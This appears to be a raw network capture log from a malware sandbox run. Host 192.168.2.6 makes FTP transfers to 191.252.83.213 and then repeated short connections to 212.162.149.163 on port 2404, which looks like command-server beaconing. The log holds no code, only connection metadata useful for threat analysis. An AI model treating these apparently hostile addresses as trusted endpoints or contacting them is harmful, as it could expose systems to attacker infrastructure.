Oct 3, 2024 09:28:20.241996050 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.242007971 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.242058992 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.242217064 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.242252111 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.242269039 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.242275000 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.242315054 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.242316008 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.242377996 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.242697954 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.258150101 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:20.258320093 CEST	49711	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:20.262964010 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:20.480519056 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:20.481161118 CEST	49721	60509	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:20.486017942 CEST	60509	49721	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:20.487404108 CEST	49721	60509	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:20.487405062 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:20.492326975 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:20.710704088 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:20.852370977 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:21.101475000 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:21.101907015 CEST	60509	49721	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:21.102036953 CEST	60509	49721	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:21.104288101 CEST	49721	60509	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:21.105557919 CEST	49721	60509	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:21.110831022 CEST	60509	49721	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:21.113929033 CEST	49722	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:21.113977909 CEST	443	49722	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:21.114053965 CEST	49722	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:21.118305922 CEST	49722	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:21.118325949 CEST	443	49722	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:21.152345896 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:21.594981909 CEST	443	49722	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:21.596285105 CEST	49722	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:21.596313000 CEST	443	49722	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:22.004806995 CEST	443	49722	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:22.004930973 CEST	443	49722	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:22.004988909 CEST	49722	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:22.005292892 CEST	49722	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:22.153609037 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:23.407372952 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:23.407437086 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:23.407536030 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:23.411376953 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:23.411412954 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:23.871898890 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:23.871975899 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:23.923412085 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:23.923448086 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:23.923831940 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:23.940798998 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:23.987416983 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:24.488431931 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:24.488535881 CEST	443	49724	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:24.488604069 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:24.489475012 CEST	49724	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:24.681642056 CEST	49725	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:24.686753035 CEST	2404	49725	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:24.686933994 CEST	49725	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:24.687916994 CEST	49725	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:24.692799091 CEST	2404	49725	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:26.185148001 CEST	2404	49725	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:26.185230970 CEST	49725	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:26.185309887 CEST	49725	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:26.190119028 CEST	2404	49725	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:27.196548939 CEST	49726	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:27.201637030 CEST	2404	49726	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:27.201709032 CEST	49726	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:27.202095032 CEST	49726	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:27.207058907 CEST	2404	49726	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:27.751487017 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:27.751523972 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:27.751596928 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:27.755479097 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:27.755496025 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:28.233577967 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:28.233680964 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:28.235183001 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:28.235200882 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:28.235467911 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:28.241941929 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:28.287412882 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:28.365071058 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:28.365225077 CEST	443	49728	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:28.365287066 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:28.366473913 CEST	49728	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:28.696204901 CEST	2404	49726	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:28.696275949 CEST	49726	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:28.696376085 CEST	49726	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:28.701366901 CEST	2404	49726	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:29.712543964 CEST	49729	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:29.717639923 CEST	2404	49729	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:29.719142914 CEST	49729	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:29.719551086 CEST	49729	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:29.724337101 CEST	2404	49729	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:31.200728893 CEST	2404	49729	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:31.200798988 CEST	49729	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:31.200861931 CEST	49729	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:31.209461927 CEST	2404	49729	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:32.221999884 CEST	49730	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:32.236903906 CEST	2404	49730	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:32.236990929 CEST	49730	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:32.237385988 CEST	49730	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:32.248251915 CEST	2404	49730	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:33.713100910 CEST	2404	49730	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:33.713176012 CEST	49730	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:33.713224888 CEST	49730	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:33.719793081 CEST	2404	49730	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:34.731566906 CEST	49731	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:34.737783909 CEST	2404	49731	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:34.737900972 CEST	49731	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:34.741502047 CEST	49731	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:34.747100115 CEST	2404	49731	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:35.174355984 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:35.174432993 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.174519062 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:35.176908970 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:35.176922083 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.686245918 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.686353922 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:35.687767982 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:35.687777996 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.688075066 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.693913937 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:35.739408016 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.845540047 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.845644951 CEST	443	49732	104.20.4.235	192.168.2.6
Oct 3, 2024 09:28:35.845696926 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:35.846471071 CEST	49732	443	192.168.2.6	104.20.4.235
Oct 3, 2024 09:28:36.222244024 CEST	2404	49731	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:36.223417044 CEST	49731	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:36.223417044 CEST	49731	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:36.233028889 CEST	2404	49731	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:37.237345934 CEST	49733	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:37.257577896 CEST	2404	49733	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:37.257668972 CEST	49733	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:37.263282061 CEST	49733	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:37.273515940 CEST	2404	49733	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:38.724689960 CEST	2404	49733	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:38.724754095 CEST	49733	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:38.724809885 CEST	49733	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:38.730110884 CEST	2404	49733	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:39.728118896 CEST	49734	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:39.736846924 CEST	2404	49734	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:39.736953020 CEST	49734	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:39.737467051 CEST	49734	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:39.745969057 CEST	2404	49734	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:41.229326963 CEST	2404	49734	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:41.229469061 CEST	49734	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:41.229984999 CEST	49734	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:41.238605022 CEST	2404	49734	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:42.253864050 CEST	49735	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:42.259335995 CEST	2404	49735	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:42.259437084 CEST	49735	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:42.259850979 CEST	49735	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:42.265372992 CEST	2404	49735	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:43.763794899 CEST	2404	49735	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:43.763906002 CEST	49735	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:43.763962984 CEST	49735	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:43.783535004 CEST	2404	49735	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:44.776401997 CEST	49736	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:44.783514023 CEST	2404	49736	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:44.783610106 CEST	49736	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:44.783981085 CEST	49736	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:44.789810896 CEST	2404	49736	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:46.301676035 CEST	2404	49736	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:46.301906109 CEST	49736	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:46.301906109 CEST	49736	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:46.337704897 CEST	2404	49736	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:47.306060076 CEST	49737	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:47.321175098 CEST	2404	49737	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:47.322340965 CEST	49737	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:47.323436975 CEST	49737	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:47.339312077 CEST	2404	49737	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:48.803081036 CEST	2404	49737	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:48.803248882 CEST	49737	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:48.803248882 CEST	49737	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:48.808595896 CEST	2404	49737	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:49.806391001 CEST	49739	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:49.811424017 CEST	2404	49739	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:49.811549902 CEST	49739	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:49.811942101 CEST	49739	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:49.816745996 CEST	2404	49739	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:51.312752008 CEST	2404	49739	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:51.312962055 CEST	49739	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:51.312962055 CEST	49739	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:51.317861080 CEST	2404	49739	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:52.321619034 CEST	49740	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:52.326723099 CEST	2404	49740	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:52.326814890 CEST	49740	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:52.327187061 CEST	49740	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:52.332014084 CEST	2404	49740	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:53.793616056 CEST	2404	49740	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:53.793688059 CEST	49740	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:53.793735981 CEST	49740	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:53.802285910 CEST	2404	49740	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:54.806118011 CEST	49741	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:54.811232090 CEST	2404	49741	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:54.811336040 CEST	49741	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:54.811709881 CEST	49741	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:54.816545010 CEST	2404	49741	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:56.314996004 CEST	2404	49741	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:56.315129995 CEST	49741	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:56.315176964 CEST	49741	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:56.319987059 CEST	2404	49741	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:57.321887016 CEST	49743	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:57.327008963 CEST	2404	49743	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:57.327100039 CEST	49743	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:57.327487946 CEST	49743	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:57.332289934 CEST	2404	49743	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:58.805047989 CEST	2404	49743	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:58.805154085 CEST	49743	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:58.805236101 CEST	49743	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:58.809967041 CEST	2404	49743	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:59.815257072 CEST	49744	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:59.820178032 CEST	2404	49744	212.162.149.163	192.168.2.6
Oct 3, 2024 09:28:59.820257902 CEST	49744	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:59.820733070 CEST	49744	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:28:59.825536013 CEST	2404	49744	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:01.345846891 CEST	2404	49744	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:01.345922947 CEST	49744	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:01.345962048 CEST	49744	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:01.351175070 CEST	2404	49744	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:02.352811098 CEST	49745	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:02.358827114 CEST	2404	49745	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:02.358987093 CEST	49745	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:02.359457016 CEST	49745	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:02.366189003 CEST	2404	49745	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:03.837276936 CEST	2404	49745	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:03.837353945 CEST	49745	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:03.837402105 CEST	49745	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:03.842257977 CEST	2404	49745	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:04.852765083 CEST	49746	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:05.059768915 CEST	2404	49746	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:05.059855938 CEST	49746	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:05.060313940 CEST	49746	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:05.065129042 CEST	2404	49746	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:06.506722927 CEST	2404	49746	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:06.506869078 CEST	49746	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:06.507081032 CEST	49746	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:06.511807919 CEST	2404	49746	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:07.509558916 CEST	49747	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:07.514487028 CEST	2404	49747	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:07.514564037 CEST	49747	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:07.515007973 CEST	49747	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:07.519789934 CEST	2404	49747	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:08.974787951 CEST	2404	49747	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:08.978317976 CEST	49747	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:08.978357077 CEST	49747	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:08.983300924 CEST	2404	49747	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:09.993755102 CEST	49748	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:09.999706030 CEST	2404	49748	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:09.999809980 CEST	49748	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:10.000253916 CEST	49748	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:10.006433964 CEST	2404	49748	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:11.460206985 CEST	2404	49748	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:11.460347891 CEST	49748	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:11.460349083 CEST	49748	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:11.465213060 CEST	2404	49748	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:12.464781046 CEST	49749	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:12.471335888 CEST	2404	49749	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:12.471405983 CEST	49749	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:12.471873999 CEST	49749	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:12.478239059 CEST	2404	49749	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:13.928100109 CEST	2404	49749	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:13.928239107 CEST	49749	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:13.928260088 CEST	49749	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:13.933093071 CEST	2404	49749	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:14.930980921 CEST	49750	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:14.935940027 CEST	2404	49750	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:14.936064959 CEST	49750	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:14.936734915 CEST	49750	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:14.941534996 CEST	2404	49750	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:16.397460938 CEST	2404	49750	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:16.397867918 CEST	49750	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:16.397867918 CEST	49750	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:16.403067112 CEST	2404	49750	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:17.401936054 CEST	49751	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:17.406893015 CEST	2404	49751	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:17.407016993 CEST	49751	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:17.407501936 CEST	49751	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:17.412322998 CEST	2404	49751	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:19.072071075 CEST	2404	49751	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:19.072143078 CEST	49751	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:19.072244883 CEST	49751	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:19.081413031 CEST	2404	49751	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:20.087156057 CEST	49753	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:20.092029095 CEST	2404	49753	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:20.092123985 CEST	49753	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:20.092592001 CEST	49753	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:20.097333908 CEST	2404	49753	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:21.596678972 CEST	2404	49753	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:21.596812963 CEST	49753	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:21.600440979 CEST	49753	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:21.605365038 CEST	2404	49753	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:22.640800953 CEST	49754	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:22.826675892 CEST	2404	49754	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:22.826772928 CEST	49754	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:22.827305079 CEST	49754	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:22.832192898 CEST	2404	49754	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:24.311588049 CEST	2404	49754	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:24.311752081 CEST	49754	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:24.314429045 CEST	49754	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:24.319231987 CEST	2404	49754	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:25.338396072 CEST	49755	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:25.343420029 CEST	2404	49755	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:25.343542099 CEST	49755	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:25.344002008 CEST	49755	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:25.348766088 CEST	2404	49755	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:26.825653076 CEST	2404	49755	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:26.825773954 CEST	49755	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:26.825887918 CEST	49755	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:26.830696106 CEST	2404	49755	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:27.837151051 CEST	49756	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:27.842506886 CEST	2404	49756	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:27.842612982 CEST	49756	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:27.843036890 CEST	49756	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:27.847948074 CEST	2404	49756	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:29.307919979 CEST	2404	49756	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:29.311247110 CEST	49756	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:29.311300993 CEST	49756	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:29.316095114 CEST	2404	49756	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:30.321480989 CEST	49757	2404	192.168.2.6	212.162.149.163
Oct 3, 2024 09:29:30.326467991 CEST	2404	49757	212.162.149.163	192.168.2.6
Oct 3, 2024 09:29:30.326546907 CEST	49757	2404	192.168.2.6	212.162.149.163
